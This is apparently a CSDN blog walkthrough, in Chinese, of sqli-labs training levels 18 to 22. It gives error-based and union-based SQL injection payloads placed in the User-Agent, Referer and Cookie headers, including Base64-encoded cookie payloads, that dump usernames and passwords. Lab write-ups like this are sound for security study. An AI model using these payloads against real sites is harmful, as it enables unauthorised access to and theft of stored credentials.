sqli-labs基础篇 第18~22关

文章详细介绍了几种不同类型的HTTP头注入攻击,包括基于POST错误的Uagent字段、Referer字段和Cookie头部的注入。通过分析源码、构造payload,展示了如何利用这些注入点进行数据库爆库和数据提取。此外,还提到了Base64编码在Cookie注入中的应用。
摘要由CSDN通过智能技术生成

【第十八关】基于POST错误的Uagent字段数据头注入

Ⅰ 判断注入点

用常规注入、报错注入、延时注入、布尔注入都不行。
看一下题目,一直显示我的IP地址
image.png
直接看源码,第一眼就是一个check_input()函数,用于检查输入参数的正确性
image.png
再往下看源码,发现存在检查账号密码,代码中对uname和passwd进行了check_input()函数的处理,在输入uname和passwd上进行注入是不行的。
所以必须知道一个密码,这道题有点像越权漏洞,通过一个已知账号,寻找其他用户账号密码
image.png
直接弱密码,amdin+admin,发现登录进去,我们便知道了一个条件,再往下看源码
这句话,将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分
image.png
抓包,修改useragent信息头

-- 直接在uer Agent 后面拼接报错注入
uerAgent

image.png
构造playload,成功

-- uagent,ip_address,username
1' 1,1)#

image.png

Ⅱ 常规报错注入

(1)爆数据库

User-Agent: 1' ,1,extractvalue('anything',concat('~',(select database()),'~')))#

image.png

(2)其余操作跟十七关一样,直接爆数据

User-Agent: 1' ,1,extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~')))#

image.png

参考资料:

【第十九关】基于POST错误的Referer字段数据头注入

Ⅰ 判断注入点

直接常规的注入,是看不出来变化,直接看源码,跟十八关很像
源码上,存在两个信息

  • 账号密码有检测,必须知道一个账号密码

image.png

  • 存在数据包注入,通过注入referer和ip_address,进行报错回显

image.png

构造playload

1',1)#
-- 多出一个闭合

image.png

Ⅱ 常规注入

爆数据库

Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select database()),'~')))#

image.png
爆数据

Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select group_concat(username,'~',password) 
from security.users),'~')) )#

image.png

【第二十关】基于错误的cookie头部POST注入

Ⅰ 判断注入点

image.pngimage.png
直接输入已知账号密码admin+admin,显示这个,
提示我的cookie为“uname=admin~~~~”,结合源码,可以知道需要用cookie进行注入
image.png
构造playload

Cookie: uname=admin' #

image.png

Ⅱ cookie注入

Cookie: uname=admin' and extractvalue('~',concat('~',( select database() ),'~') ) #

image.png
爆数据

Cookie: uname=admin' and extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~'))#

image.png

【第二十一关】基于base64编码单引号的Cookie注入

Ⅰ 判断注入点

直接输入已知账号密码,显示出被base64编码的adminimage.png

image.png
构造playload

Cookie: uname=base64编码后的sql注入语句

判断注入点

Cookie: uname=admin' and 1=1 --+
Cookie: uname=YWRtaW4nIGFuZCAxPTEgLS0r

发现存在“')”,也就是单引号+闭合注入

image.png
image.png

Ⅱ cookie编码注入

构造playload

Cookie: uname = admin') XXXXX #

爆数据库

-admin') union select database(), 2,3 # -- 明文

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM= -- 密文

image.png

直接跳到拿数据库

-admin') union select 1,(select concat_ws('~',username,password) from security.users ),3 # -- 明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBjb25jYXRfd3MoJ34nLHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzICksMyAj -- 密文

image.png
image.png

【第二十二关】基于base64编码双引号的Cookie注入

Ⅰ 判断注入点

首先感觉这个很玄虚,一开始我是知道是用双引号注入的,然后就用这句admin",去编码,并注入,并没有回显任何的信息,然后过了几分钟,再试一下,发现又可以了
注入单引号时,没有报错
注入双引号,报错,提示只有双引号
image.pngimage.png

构造playload

Cookie: uname=admin" XXX #

Ⅱ 直接爆数据

-admin" union select 1,(select group_concat('~',username,password) from security.users limit 0,1),3 #


LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCgnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMgbGltaXQgMCwxKSwzICM=

image.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值